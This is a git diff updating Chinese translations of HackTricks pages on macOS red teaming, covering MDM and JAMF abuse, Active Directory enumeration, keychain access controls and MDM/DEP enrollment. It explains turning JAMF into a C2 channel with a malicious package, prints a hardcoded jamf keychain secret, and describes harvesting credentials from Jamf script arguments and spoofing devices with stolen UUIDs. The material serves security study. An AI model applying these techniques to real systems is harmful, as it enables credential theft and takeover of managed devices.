+* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
+{% endhint %}
## 滥用 MDM
@@ -21,7 +22,7 @@
如果您设法**获取管理员凭据**以访问管理平台,则可以通过在计算机上分发恶意软件来**潜在地危害所有计算机**。
-在 macOS 环境中进行红队行动时,强烈建议了解 MDM 的工作原理:
+在 MacOS 环境中进行红队操作时,强烈建议了解 MDM 的工作原理:
{% content-ref url="macos-mdm/" %}
[macos-mdm](macos-mdm/)
@@ -29,13 +30,13 @@
### 将 MDM 用作 C2
-MDM 将获得安装、查询或删除配置文件的权限,安装应用程序,创建本地管理员帐户,设置固件密码,更改 FileVault 密钥...
+MDM 将获得安装、查询或删除配置文件的权限,安装应用程序,创建本地管理员帐户,设置固件密码,更改 FileVault 密钥等等。
要运行自己的 MDM,您需要**由供应商签署的 CSR**,您可以尝试使用 [**https://mdmcert.download/**](https://mdmcert.download/) 获取。要为 Apple 设备运行自己的 MDM,您可以使用 [**MicroMDM**](https://github.com/micromdm/micromdm)。
-但是,要在已注册设备上安装应用程序,仍然需要由开发人员帐户签名... 但是,在 MDM 注册后,**设备将 MDM 的 SSL 证书添加为受信任的 CA**,因此现在您可以签署任何内容。
+但是,要在已注册设备上安装应用程序,仍然需要由开发人员帐户签署... 但是,在 MDM 注册后,**设备将 MDM 的 SSL 证书添加为受信任的 CA**,因此现在您可以签署任何内容。
-要将设备注册到 MDM 中,您需要以 root 身份安装一个**`mobileconfig`** 文件,该文件可以通过 **pkg** 文件交付(您可以将其压缩为 zip 文件,从 Safari 下载时将被解压缩)。
+要将设备注册到 MDM,您需要以 root 身份安装一个**`mobileconfig`** 文件,该文件可以通过**pkg** 文件传送(您可以将其压缩为 zip,然后从 Safari 下载时将其解压缩)。
**Mythic 代理 Orthrus** 使用了这种技术。
@@ -57,12 +58,12 @@ JAMF 可以运行**自定义脚本**(由系统管理员开发的脚本),**
-**`jamf`** 二进制文件包含打开钥匙串的秘密,在发现时,此秘密**被所有人共享**,即:**`jk23ucnq91jfu9aj`**。\
-此外,jamf 作为**LaunchDaemon** 持久存在于 **`/Library/LaunchAgents/com.jamf.management.agent.plist`**
+**`jamf`** 二进制文件包含打开钥匙串的秘密,当时发现时**共享**给所有人,即:**`jk23ucnq91jfu9aj`**。\
+此外,jamf 作为**LaunchDaemon** 持久存在于**`/Library/LaunchAgents/com.jamf.management.agent.plist`**
#### JAMF 设备接管
-**`jamf`** 将使用的 **JSS**(Jamf 软件服务器)**URL** 位于 **`/Library/Preferences/com.jamfsoftware.jamf.plist`**。\
+**`jamf`** 将使用的 JSS(Jamf 软件服务器)**URL**位于**`/Library/Preferences/com.jamfsoftware.jamf.plist`**。\
该文件基本上包含 URL:
{% code overflow="wrap" %}
@@ -80,7 +81,7 @@ plutil -convert xml1 -o - /Library/Preferences/com.jamfsoftware.jamf.plist
```
{% endcode %}
-因此,攻击者可以放置一个恶意软件包 (`pkg`),在安装时**覆盖此文件**,将**URL设置为从 Typhon 代理到 Mythic C2 监听器**,从而能够滥用 JAMF 作为 C2。
+因此,攻击者可以放置一个恶意软件包 (`pkg`),在安装时覆盖这个文件,将 **URL 设置为从 Typhon 代理到 Mythic C2 监听器**,从而能够滥用 JAMF 作为 C2。
```bash
# After changing the URL you could wait for it to be reloaded or execute:
sudo jamf policy -id 0
@@ -94,15 +95,15 @@ sudo jamf policy -id 0
为了**冒充**设备与JMF之间的通信,您需要:
* 设备的**UUID**:`ioreg -d2 -c IOPlatformExpertDevice | awk -F" '/IOPlatformUUID/{print $(NF-1)}'`
-* 来自以下位置的**JAMF钥匙链**:`/Library/Application\ Support/Jamf/JAMF.keychain`,其中包含设备证书
+* 来自`/Library/Application\ Support/Jamf/JAMF.keychain`的**JAMF钥匙链**,其中包含设备证书
-有了这些信息,可以创建一个带有**窃取的**硬件**UUID**和**已禁用SIP**的VM,放置**JAMF钥匙链**,**挂钩**Jamf **代理**并窃取其信息。
+有了这些信息,可以创建一个带有**窃取的**硬件**UUID**和**SIP禁用**的虚拟机,放置**JAMF钥匙链**,**挂钩**Jamf**代理**并窃取其信息。
-#### 泄露秘密
+#### 窃取秘密
-您还可以监视位置`/Library/Application Support/Jamf/tmp/`,因为管理员可能希望通过Jamf执行的**自定义脚本**会被**放置在这里,执行并删除**。这些脚本**可能包含凭据**。
+您还可以监视位置`/Library/Application Support/Jamf/tmp/`,因为**管理员**可能希望通过Jamf执行**自定义脚本**,这些脚本会在此处**放置、执行和删除**。这些脚本**可能包含凭据**。
但是,**凭据**可能会作为**参数**传递给这些脚本,因此您需要监视`ps aux | grep -i jamf`(甚至不需要是root)。
@@ -136,10 +137,10 @@ sudo jamf policy -id 0
```bash
dscl "/Active Directory/[Domain]/All Domains" ls /
```
-此外,还有一些针对 macOS 准备的工具,可以自动枚举 AD 并与 kerberos 进行交互:
+此外,还有一些针对 MacOS 准备的工具,可以自动枚举 AD 并与 kerberos 进行交互:
-- [**Machound**](https://github.com/XMCyber/MacHound):MacHound 是 Bloodhound 审计工具的扩展,允许在 macOS 主机上收集和摄入 Active Directory 关系。
-- [**Bifrost**](https://github.com/its-a-feature/bifrost):Bifrost 是一个 Objective-C 项目,旨在与 macOS 上的 Heimdal krb5 API 进行交互。该项目的目标是利用本机 API 在 macOS 设备上实现更好的关于 Kerberos 的安全测试,而无需在目标设备上安装任何其他框架或软件包。
+- [**Machound**](https://github.com/XMCyber/MacHound):MacHound 是 Bloodhound 审计工具的扩展,允许在 MacOS 主机上收集和摄入 Active Directory 关系。
+- [**Bifrost**](https://github.com/its-a-feature/bifrost):Bifrost 是一个 Objective-C 项目,旨在与 macOS 上的 Heimdal krb5 API 进行交互。该项目的目标是利用本机 API 在 macOS 设备上围绕 Kerberos 实现更好的安全测试,而无需在目标设备上安装任何其他框架或软件包。
- [**Orchard**](https://github.com/its-a-feature/Orchard):JavaScript for Automation (JXA) 工具,用于进行 Active Directory 枚举。
### 域信息
@@ -155,7 +156,7 @@ MacOS 有三种类型的用户:
- **移动用户** — 具有本地备份以保存其凭据和文件的 Active Directory 用户。
关于用户和组的本地信息存储在文件夹 _/var/db/dslocal/nodes/Default_ 中。\
-例如,名为 _mark_ 的用户的信息存储在 _/var/db/dslocal/nodes/Default/users/mark.plist_,组 _admin_ 的信息存储在 _/var/db/dslocal/nodes/Default/groups/admin.plist_。
+例如,名为 _mark_ 的用户的信息存储在 _/var/db/dslocal/nodes/Default/users/mark.plist_,组 _admin_ 的信息存储在 _/var/db/dslocal/nodes/Default/groups/admin.plist_ 中。
除了使用 HasSession 和 AdminTo 边缘外,**MacHound 还向 Bloodhound 数据库添加了三个新边缘**:
@@ -187,7 +188,7 @@ dsconfigad -show
## 访问钥匙串
-钥匙串很可能包含敏感信息,如果在不生成提示的情况下访问,可能有助于推进红队演练:
+钥匙串很可能包含敏感信息,如果在不生成提示的情况下访问,可能有助于推动红队演练的进行:
{% content-ref url="macos-keychain.md" %}
[macos-keychain.md](macos-keychain.md)
@@ -195,13 +196,13 @@ dsconfigad -show
## 外部服务
-MacOS红队行动与常规Windows红队行动不同,因为通常**MacOS直接集成了几个外部平台**。 MacOS的常见配置是使用**OneLogin同步凭据访问计算机,并通过OneLogin访问多个外部服务**(如github、aws...)。
+MacOS红队行动与常规Windows红队行动不同,通常**MacOS直接集成了几个外部平台**。 MacOS的常见配置是使用**OneLogin同步凭据访问计算机,并通过OneLogin访问多个外部服务**(如github、aws...)。
-## 其他红队技术
+## 杂项红队技术
### Safari
-在Safari中下载文件时,如果是“安全”文件,它将会**自动打开**。例如,如果你**下载一个zip文件**,它将会自动解压缩:
+在Safari中下载文件时,如果是一个“安全”文件,它将会**自动打开**。例如,如果你**下载一个zip文件**,它将会自动解压缩:
@@ -212,3 +213,18 @@ MacOS红队行动与常规Windows红队行动不同,因为通常**MacOS直接
* [**https://gist.github.com/its-a-feature/1a34f597fb30985a2742bb16116e74e0**](https://gist.github.com/its-a-feature/1a34f597fb30985a2742bb16116e74e0)
* [**Come to the Dark Side, We Have Apples: Turning macOS Management Evil**](https://www.youtube.com/watch?v=pOQOh07eMxY)
* [**OBTS v3.0: "An Attackers Perspective on Jamf Configurations" - Luke Roberts / Calum Hall**](https://www.youtube.com/watch?v=ju1IYWUv4ZA)
+
+{% hint style="success" %}
+学习并实践AWS黑客技术:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+学习并实践GCP黑客技术:[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
+
+
+支持HackTricks
+
+* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
+* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享黑客技巧。
+
+
+{% endhint %}
diff --git a/macos-hardening/macos-red-teaming/macos-keychain.md b/macos-hardening/macos-red-teaming/macos-keychain.md
index c0db769f8..eaa632bdb 100644
--- a/macos-hardening/macos-red-teaming/macos-keychain.md
+++ b/macos-hardening/macos-red-teaming/macos-keychain.md
@@ -1,24 +1,25 @@
# macOS钥匙串
+{% hint style="success" %}
+学习并练习AWS黑客技术:[**HackTricks培训AWS红队专家(ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+学习并练习GCP黑客技术:[**HackTricks培训GCP红队专家(GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS红队专家)!
+支持HackTricks
-支持HackTricks的其他方式:
-
-- 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
-- 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
-- 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
-- **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
-- 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
+* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
+* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享黑客技巧。
+{% endhint %}
### [WhiteIntel](https://whiteintel.io)
-[**WhiteIntel**](https://whiteintel.io)是一个由**暗网**支持的搜索引擎,提供免费功能,用于检查公司或其客户是否受到**窃取恶意软件**的**侵害**。
+[**WhiteIntel**](https://whiteintel.io)是一个由**暗网**推动的搜索引擎,提供免费功能,用于检查公司或其客户是否受到**窃取恶意软件**的**侵害**。
WhiteIntel的主要目标是打击由信息窃取恶意软件导致的账户劫持和勒索软件攻击。
@@ -30,12 +31,12 @@ WhiteIntel的主要目标是打击由信息窃取恶意软件导致的账户劫
## 主要钥匙串
-- **用户钥匙串**(`~/Library/Keychains/login.keycahin-db`),用于存储诸如应用程序密码、互联网密码、用户生成的证书、网络密码和用户生成的公钥/私钥等**特定于用户**的凭据。
-- **系统钥匙串**(`/Library/Keychains/System.keychain`),存储**系统范围**的凭据,如WiFi密码、系统根证书、系统私钥和系统应用程序密码。
+* **用户钥匙串**(`~/Library/Keychains/login.keycahin-db`),用于存储诸如应用程序密码、互联网密码、用户生成的证书、网络密码和用户生成的公钥/私钥等**特定于用户**的凭据。
+* **系统钥匙串**(`/Library/Keychains/System.keychain`),存储**系统范围**的凭据,如WiFi密码、系统根证书、系统私钥和系统应用程序密码。
### 密码钥匙串访问
-这些文件虽然没有固有的保护,可以被**下载**,但是它们是加密的,需要**用户的明文密码才能解密**。可以使用类似[**Chainbreaker**](https://github.com/n0fate/chainbreaker)的工具进行解密。
+这些文件虽然没有固有的保护措施,可以被**下载**,但是它们是加密的,需要**用户的明文密码才能解密**。可以使用类似[**Chainbreaker**](https://github.com/n0fate/chainbreaker)的工具进行解密。
## 钥匙串条目保护
@@ -43,39 +44,39 @@ WhiteIntel的主要目标是打击由信息窃取恶意软件导致的账户劫
钥匙串中的每个条目都受**访问控制列表(ACLs)**的管辖,ACLs规定了谁可以对钥匙串条目执行各种操作,包括:
-- **ACLAuhtorizationExportClear**:允许持有者获取密钥的明文。
-- **ACLAuhtorizationExportWrapped**:允许持有者获取使用另一个提供的密码加密的明文。
-- **ACLAuhtorizationAny**:允许持有者执行任何操作。
+* **ACLAuhtorizationExportClear**:允许持有者获取密钥的明文。
+* **ACLAuhtorizationExportWrapped**:允许持有者获取使用另一个提供的密码加密的明文。
+* **ACLAuhtorizationAny**:允许持有者执行任何操作。
ACLs还伴随着一个**可信应用程序列表**,这些应用程序可以在不提示的情况下执行这些操作。这可能是:
-- **N`il`**(无需授权,**每个人都受信任**)
-- 一个**空**列表(**没有人**受信任)
-- 特定**应用程序**的**列表**。
+* **N`il`**(无需授权,**每个人都受信任**)
+* 一个**空**列表(**没有人**受信任)
+* 特定**应用程序**的**列表**。
此外,条目可能包含**`ACLAuthorizationPartitionID`**密钥,用于识别**teamid、apple**和**cdhash**。
-- 如果指定了**teamid**,则为了**无需提示地访问条目**值,使用的应用程序必须具有**相同的teamid**。
-- 如果指定了**apple**,则应用程序需要由**Apple**签名。
-- 如果指定了**cdhash**,则**应用程序**必须具有特定的**cdhash**。
+* 如果指定了**teamid**,则为了**无需提示地访问条目**值,使用的应用程序必须具有**相同的teamid**。
+* 如果指定了**apple**,则应用程序需要由**Apple**签名。
+* 如果指定了**cdhash**,则**应用程序**必须具有特定的**cdhash**。
### 创建钥匙串条目
-使用**`Keychain Access.app`**创建**新**条目时,适用以下规则:
+当使用**`Keychain Access.app`**创建**新**的**条目**时,适用以下规则:
-- 所有应用程序都可以加密。
-- **没有应用程序**可以导出/解密(无需提示用户)。
-- 所有应用程序都可以查看完整性检查。
-- 没有应用程序可以更改ACLs。
-- **partitionID**设置为**`apple`**。
+* 所有应用程序都可以加密。
+* **没有应用程序**可以导出/解密(无需提示用户)。
+* 所有应用程序都可以查看完整性检查。
+* 没有应用程序可以更改ACLs。
+* **partitionID**设置为**`apple`**。
当**应用程序在钥匙串中创建条目**时,规则略有不同:
-- 所有应用程序都可以加密。
-- 只有**创建应用程序**(或明确添加的任何其他应用程序)可以导出/解密(无需提示用户)。
-- 所有应用程序都可以查看完整性检查。
-- 没有应用程序可以更改ACLs。
-- **partitionID**设置为**`teamid:[teamID here]`**。
+* 所有应用程序都可以加密。
+* 只有**创建应用程序**(或明确添加的任何其他应用程序)可以导出/解密(无需提示用户)。
+* 所有应用程序都可以查看完整性检查。
+* 没有应用程序可以更改ACLs。
+* **partitionID**设置为**`teamid:[teamID here]`**。
## 访问钥匙串
@@ -100,7 +101,7 @@ security set-generic-password-parition-list -s "test service" -a "test acount" -
* API **`SecItemCopyMatching`** 提供每个条目的信息,使用时可以设置一些属性:
* **`kSecReturnData`**:如果为true,将尝试解密数据(设置为false可避免潜在的弹出窗口)
-* **`kSecReturnRef`**:还可以获取密钥链条目的引用(如果后来发现可以在无弹出窗口的情况下解密,则设置为true)
+* **`kSecReturnRef`**:还可以获取密钥链条目的引用(如果后来发现可以无需弹出窗口解密,则设置为true)
* **`kSecReturnAttributes`**:获取条目的元数据
* **`kSecMatchLimit`**:返回多少结果
* **`kSecClass`**:密钥链条目的类型
@@ -123,17 +124,17 @@ security set-generic-password-parition-list -s "test service" -a "test acount" -
* 如果列出了**1个或更多受信任的**应用程序:
* 需要适当的**授权**(**`Nil`**,或者是授权访问机密信息的应用程序允许列表的一部分)
-* 需要代码签名与**PartitionID**匹配
-* 需要代码签名与一个**受信任的应用程序**匹配(或者是正确的KeychainAccessGroup的成员)
+* 需要代码签名匹配**PartitionID**
+* 需要代码签名与一个**受信任应用程序**匹配(或者是正确的KeychainAccessGroup的成员)
* 如果**所有应用程序都受信任**:
* 需要适当的**授权**
-* 需要代码签名与**PartitionID**匹配
+* 需要代码签名匹配**PartitionID**
* 如果**没有PartitionID**,则不需要这个
{% hint style="danger" %}
-因此,如果列出了**1个应用程序**,则需要在该应用程序中**注入代码**。
+因此,如果列出了**1个应用程序**,则需要**在该应用程序中注入代码**。
-如果**partitionID**中指定了**apple**,则可以使用**`osascript`**访问它,因此任何信任带有apple的partitionID中的所有应用程序的内容。**`Python`**也可用于此目的。
+如果**partitionID**中指定了**apple**,则可以使用**`osascript`**访问它,因此任何信任partitionID中带有apple的所有应用程序的内容。也可以使用**`Python`**实现这一点。
{% endhint %}
### 两个额外属性
@@ -154,20 +155,21 @@ security set-generic-password-parition-list -s "test service" -a "test acount" -
WhiteIntel的主要目标是打击由窃取信息的恶意软件导致的账户劫持和勒索软件攻击。
-您可以在以下网址检查他们的网站并尝试他们的引擎,**免费**:
+您可以在以下网址检查他们的网站并尝试他们的引擎,**免费**使用:
{% embed url="https://whiteintel.io" %}
+{% hint style="success" %}
+学习并练习AWS黑客技术:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+学习并练习GCP黑客技术:[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS Red Team Expert)!
+支持HackTricks
-支持HackTricks的其他方式:
-
-* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
-* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
-* 发现[**PEASS Family**](https://opensea.io/collection/the-peass-family),我们的独家[NFTs](https://opensea.io/collection/the-peass-family)系列
-* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**上关注**我们。
-* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
+* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
+* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**上关注**我们。
+* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享黑客技巧。
+{% endhint %}
diff --git a/macos-hardening/macos-red-teaming/macos-mdm/README.md b/macos-hardening/macos-red-teaming/macos-mdm/README.md
index b41e4c408..69d1b0650 100644
--- a/macos-hardening/macos-red-teaming/macos-mdm/README.md
+++ b/macos-hardening/macos-red-teaming/macos-mdm/README.md
@@ -1,20 +1,21 @@
# macOS MDM
+{% hint style="success" %}
+学习并练习AWS Hacking:[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+学习并练习GCP Hacking: [**HackTricks 培训 GCP 红队专家 (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS红队专家)!
+支持 HackTricks
-支持HackTricks的其他方式:
-
-* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
-* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
-* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品
-* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
-* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
+* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
+* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
+{% endhint %}
-**了解macOS MDM的内容:**
+**了解 macOS MDM 的内容:**
* [https://www.youtube.com/watch?v=ku8jZe-MHUU](https://www.youtube.com/watch?v=ku8jZe-MHUU)
* [https://duo.com/labs/research/mdm-me-maybe](https://duo.com/labs/research/mdm-me-maybe)
@@ -23,72 +24,72 @@
### **MDM(移动设备管理)概述**
-[移动设备管理](https://en.wikipedia.org/wiki/Mobile\_device\_management)(MDM)用于管理各种终端用户设备,如智能手机、笔记本电脑和平板电脑。特别是对于苹果的平台(iOS、macOS、tvOS),它涉及一组专门的功能、API和实践。MDM的运作依赖于一个兼容的MDM服务器,该服务器可以是商业可用的或开源的,并且必须支持[MDM协议](https://developer.apple.com/enterprise/documentation/MDM-Protocol-Reference.pdf)。关键点包括:
+[移动设备管理](https://en.wikipedia.org/wiki/Mobile\_device\_management)(MDM)用于管理智能手机、笔记本电脑和平板电脑等多种终端用户设备。特别是对于苹果的平台(iOS、macOS、tvOS),它涉及一组专门的功能、API 和实践。MDM 的运作依赖于兼容的 MDM 服务器,该服务器可以是商业可用的或开源的,并且必须支持[MDM 协议](https://developer.apple.com/enterprise/documentation/MDM-Protocol-Reference.pdf)。关键点包括:
* 对设备的集中控制。
-* 依赖于遵循MDM协议的MDM服务器。
-* MDM服务器能够向设备发送各种命令,例如远程数据擦除或配置安装。
+* 依赖于遵循 MDM 协议的 MDM 服务器。
+* MDM 服务器能够向设备发送各种命令,例如远程数据擦除或配置安装。
### **DEP(设备注册计划)基础知识**
-由苹果提供的[设备注册计划](https://www.apple.com/business/site/docs/DEP\_Guide.pdf)(DEP)通过为iOS、macOS和tvOS设备提供零触摸配置,简化了移动设备管理(MDM)的集成。DEP自动化了注册过程,使设备可以在开箱即用时投入运行,几乎不需要用户或管理干预。基本方面包括:
+由苹果提供的[设备注册计划](https://www.apple.com/business/site/docs/DEP\_Guide.pdf)(DEP)通过为 iOS、macOS 和 tvOS 设备提供零触摸配置,简化了移动设备管理(MDM)的集成。DEP 自动化了注册过程,使设备可以在开箱即用时运行,几乎不需要用户或管理员干预。基本方面包括:
-* 使设备在初始激活时自动向预定义的MDM服务器注册。
+* 允许设备在初始激活时自动向预定义的 MDM 服务器注册。
* 主要有利于全新设备,但也适用于正在重新配置的设备。
* 简化设置,使设备迅速准备好供组织使用。
### **安全考虑**
-需要注意的是,DEP提供的便捷注册方式虽然有利,但也可能带来安全风险。如果对MDM注册未充分执行保护措施,攻击者可能利用这一简化流程在组织的MDM服务器上注册其设备,伪装成公司设备。
+需要注意的是,DEP 提供的便捷注册方式虽然有利,但也可能带来安全风险。如果对 MDM 注册未充分执行保护措施,攻击者可能利用这一简化流程,在组织的 MDM 服务器上注册其设备,伪装成公司设备。
{% hint style="danger" %}
-**安全警报**:简化的DEP注册可能允许未经授权的设备在组织的MDM服务器上注册,如果没有适当的保护措施。
+**安全警报**:简化的 DEP 注册可能允许未经授权的设备在组织的 MDM 服务器上注册,如果没有适当的保护措施。
{% endhint %}
### **SCEP(简单证书注册协议)是什么?**
-* 一个相对较旧的协议,在TLS和HTTPS普及之前创建。
+* 一个相对古老的协议,在 TLS 和 HTTPS 广泛使用之前创建。
* 为客户端提供了一种标准化的方式发送**证书签名请求**(CSR)以获得证书。客户端将要求服务器给他签名的证书。
-### 什么是配置文件(也称为mobileconfigs)?
+### 什么是配置文件(也称为 mobileconfigs)?
* 苹果官方的**设置/强制系统配置**的方式。
* 可以包含多个有效负载的文件格式。
-* 基于属性列表(XML类型)。
-* “可以签名和加密以验证其来源,确保其完整性,并保护其内容。”基础知识 — 第70页,iOS安全指南,2018年1月。
+* 基于属性列表(XML 类型)。
+* “可以签名和加密以验证其来源、确保其完整性并保护其内容。” 基础知识 — iOS 安全指南,2018 年 1 月,第 70 页。
## 协议
### MDM
* APNs(**苹果服务器**)+ RESTful API(**MDM** **供应商**服务器)的组合
-* **通信**发生在与**设备** **管理** **产品**相关的设备和服务器之间
-* 从MDM传递到设备的**命令以plist编码的字典**
-* 全部通过**HTTPS**。MDM服务器可以(通常)被固定。
-* 苹果授予MDM供应商一个**APNs证书**用于身份验证
+* 通信发生在与**设备** **管理** **产品**相关的设备和服务器之间
+* 从 MDM 传递到设备的**命令**以**plist 编码的字典**形式传递
+* 全部通过**HTTPS**。MDM 服务器可以(通常)被固定。
+* 苹果授予 MDM 供应商一个**APNs 证书**用于身份验证
### DEP
-* **3个API**:1用于经销商,1用于MDM供应商,1用于设备身份(未记录):
-* 所谓的[DEP“云服务”API](https://developer.apple.com/enterprise/documentation/MDM-Protocol-Reference.pdf)。MDM服务器使用此API将DEP配置文件与特定设备关联。
-* [由苹果授权经销商使用的DEP API](https://applecareconnect.apple.com/api-docs/depuat/html/WSImpManual.html)用于注册设备,检查注册状态和检查交易状态。
-* 未记录的私有DEP API。苹果设备使用此API请求其DEP配置文件。在macOS上,`cloudconfigurationd`二进制文件负责通过此API进行通信。
-* 更现代化,基于**JSON**(与plist相比)
-* 苹果向MDM供应商授予一个**OAuth令牌**
+* **3 个 API**:1 用于经销商,1 用于 MDM 供应商,1 用于设备标识(未记录):
+* 所谓的[DEP “云服务” API](https://developer.apple.com/enterprise/documentation/MDM-Protocol-Reference.pdf)。MDM 服务器使用此 API 将 DEP 配置文件与特定设备关联。
+* [由苹果授权经销商使用的 DEP API](https://applecareconnect.apple.com/api-docs/depuat/html/WSImpManual.html) 用于注册设备、检查注册状态和检查交易状态。
+* 未记录的私有 DEP API。苹果设备使用此 API 请求其 DEP 配置文件。在 macOS 上,`cloudconfigurationd` 二进制文件负责通过此 API 进行通信。
+* 更现代化,基于**JSON**(与 plist 相比)
+* 苹果授予 MDM 供应商一个**OAuth 令牌**
-**DEP“云服务”API**
+**DEP “云服务” API**
* RESTful
-* 从苹果同步设备记录到MDM服务器
-* 将“DEP配置文件”从MDM服务器同步到苹果(稍后由苹果传递给设备)
-* DEP“配置文件”包含:
-* MDM供应商服务器URL
-* 用于服务器URL的额外受信任证书(可选固定)
+* 从苹果同步设备记录到 MDM 服务器
+* 将“DEP 配置文件”从 MDM 服务器同步到苹果(稍后由苹果传递给设备)
+* DEP “配置文件”包含:
+* MDM 供应商服务器 URL
+* 用于服务器 URL 的额外受信任证书(可选固定)
* 额外设置(例如在设置助手中跳过哪些屏幕)
## 序列号
-2010年后生产的苹果设备通常具有**12个字符的字母数字**序列号,**前三位表示制造地点**,接下来的**两位表示**制造的**年份和周数**,接下来的**三位提供**一个**唯一标识符**,最后的**四位表示**型号号码。
+2010 年后制造的苹果设备通常具有**12 个字符的字母数字**序列号,**前三位表示制造地点**,接下来的**两位表示制造年份和周数**,接下来的**三位提供唯一标识符**,最后的**四位表示型号号码**。
{% content-ref url="macos-serial-number.md" %}
[macos-serial-number.md](macos-serial-number.md)
@@ -96,43 +97,43 @@
## 注册和管理步骤
-1. 创建设备记录(经销商,苹果):创建新设备的记录
-2. 分配设备记录(客户):将设备分配给MDM服务器
-3. 同步设备记录(MDM供应商):MDM同步设备记录并将DEP配置文件推送到苹果
-4. DEP签到(设备):设备获取其DEP配置文件
-5. 检索配置文件(设备)
-6. 安装配置文件(设备)a. 包括MDM、SCEP和根CA有效负载
-7. 发出MDM命令(设备)
+1. 设备记录创建(经销商,苹果):创建新设备的记录
+2. 设备记录分配(客户):将设备分配给 MDM 服务器
+3. 设备记录同步(MDM 供应商):MDM 同步设备记录并将 DEP 配置文件推送到苹果
+4. DEP 登记(设备):设备获取其 DEP 配置文件
+5. 配置文件检索(设备)
+6. 配置文件安装(设备)a. 包括 MDM、SCEP 和根 CA 负载
+7. MDM 命令发出(设备)
![](<../../../.gitbook/assets/image (694).png>)
-文件`/Library/Developer/CommandLineTools/SDKs/MacOSX10.15.sdk/System/Library/PrivateFrameworks/ConfigurationProfiles.framework/ConfigurationProfiles.tbd`导出的函数可以被视为注册过程的**高级“步骤”**。
+文件`/Library/Developer/CommandLineTools/SDKs/MacOSX10.15.sdk/System/Library/PrivateFrameworks/ConfigurationProfiles.framework/ConfigurationProfiles.tbd` 导出的函数可以被视为注册过程的**高级“步骤”**。
### 步骤 4: DEP 检查 - 获取激活记录
这个过程发生在**用户第一次启动 Mac**(或完全擦除后)
![](<../../../.gitbook/assets/image (1044).png>)
-或者执行 `sudo profiles show -type enrollment`
+或执行 `sudo profiles show -type enrollment`
* 确定设备是否启用了**DEP**
* 激活记录是**DEP“配置文件”的内部名称**
* 一旦设备连接到互联网,就会开始
-* 由**`CPFetchActivationRecord`** 驱动
